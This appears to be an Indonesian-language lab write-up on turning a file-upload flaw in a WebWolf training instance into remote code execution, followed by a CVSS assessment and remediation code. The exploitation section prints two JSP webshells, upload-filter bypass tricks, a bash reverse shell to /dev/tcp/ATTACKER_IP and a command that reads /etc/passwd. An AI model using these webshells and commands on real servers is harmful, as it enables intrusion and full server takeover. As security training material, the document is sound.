WebWolf - File Upload to RCE
Target:
webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf
Level: Advanced
Objective
Mendapatkan Remote Code Execution (RCE) pada server WebWolf dengan mengeksploitasi fitur file upload yang tidak memvalidasi ekstensi dan konten file secara ketat.
Reconnaissance
1. Akses WebWolf
Buka browser dan arahkan ke:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf
Login dengan kredensial yang sama seperti WebGoat (guest
/ guest).
2. Identifikasi Fitur Upload
WebWolf menyediakan halaman untuk upload file. File yang diupload dapat diakses melalui URL statis:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/files/<username>/<filename>
Halaman ini terletak di menu "File Upload" atau "Challenge".
3. Uji Filter Ekstensi
Coba upload file dengan ekstensi umum:
# Buat file test.txt
echo "test" > test.txt
Upload via form browser, lalu coba akses:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/files/guest/test.txt
Jika berhasil, file tersedia. Sekarang kita perlu melewati filter
untuk mengupload file .jsp.
Exploitation
Langkah 1: Buat JSP Webshell
Buat file shell.jsp yang dapat menerima dan mengeksekusi
perintah:
<%
Runtime rt = Runtime.getRuntime();
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = rt.exec(cmd);
java.io.BufferedReader br = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream())
);
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
br.close();
}
%>
Atau versi sederhana:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line + "<br>");
}
in.close();
}
%>
Langkah 2: Bypass Extension Filter
Jika WebWolf memblokir ekstensi .jsp, gunakan teknik
bypass:
Teknik A - Double Extension:
# Upload dengan nama shell.jsp.txt
mv shell.jsp "shell.jsp.txt"
Teknik B - Case Sensitivity:
# Ekstensi uppercase
cp shell.jsp "shell.JSP"
# atau
cp shell.jsp "shell.Jsp"
Teknik C - Null Byte Injection (pada versi lama):
# Tidak selalu berhasil di aplikasi modern
shell.jsp%00.txt
Teknik D - Content-Type Manipulation:
Gunakan Burp Suite untuk mengubah Content-Type menjadi
image/jpeg atau application/octet-stream
saat upload.
Langkah 3: Upload Webshell
Upload file shell melalui halaman WebWolf. Jika menggunakan cURL:
curl -X POST http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/fileupload \
-b "JSESSIONID=<session_id>"
Langkah 4: Akses Webshell
Setelah upload berhasil, akses shell melalui URL:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/files/guest/shell.jsp
Coba eksekusi perintah:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/files/guest/shell.jsp?cmd=id
Langkah 5: Eksploitasi Lebih Lanjut
Dapatkan reverse shell:
# Dari browser/curl akses:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/files/guest/shell.jsp?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER_IP/443%200>%261'
Atau baca file sensitif:
http://webwolf-vuln.vuln.cybersecurity.or.id:9091/WebWolf/files/guest/shell.jsp?cmd=cat%20/etc/passwd
Evidence
| Langkah | Bukti |
|---|---|
| Upload shell.jsp | File terupload dan tercantum di daftar file WebWolf |
| Akses webshell | Halaman JSP merender tanpa error |
RCE via ?cmd=id |
Output: uid=1000(tomcat) gid=1000(tomcat)
|
| Baca sensitif | Isi /etc/passwd atau file konfigurasi
berhasil diread |
️ Risk Assessment
CVSS 9.8 (Critical)
- CVSS Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - OWASP Top 10: A03:2021 - Injection
- Attack Vector: Network (Remote)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact: Complete compromise of Confidentiality, Integrity, and Availability
Dampak Bisnis:
- Full server takeover
- Akses ke database dan file sensitif
- Pivot ke internal network
- Potensi data breach dan reputasi rusak
️ Remediation
1. Whitelist Extension
Hanya izinkan ekstensi file yang aman dan diperlukan:
Set<String> allowedExtensions = Set.of("jpg", "png", "gif", "pdf", "txt");
String ext = filename.substring(filename.lastIndexOf(".") + 1).toLowerCase();
if (!allowedExtensions.contains(ext)) {
throw new SecurityException("Extension not allowed");
}
2. Content-Type Validation
Validasi tipe konten yang sesuai dengan file:
String mimeType = Files.probeContentType(uploadedFile.toPath());
if (mimeType == null || !mimeType.startsWith("image/")) {
throw new SecurityException("Invalid file type");
}
3. Simpan File di External Storage
Jangan simpan file upload di dalam document root aplikasi. Gunakan storage terpisah dan sajikan file melalui controller yang aman.
4. Rename File Secara Otomatis
Gunakan UUID atau hash sebagai nama file, bukan nama asli:
String safeFilename = UUID.randomUUID().toString() + "." + ext;
5. No Execution Permission
Pastikan direktori upload tidak memiliki permission execute.
6. Scanning Malware
Integrasi antivirus atau scanner untuk memeriksa file yang diupload.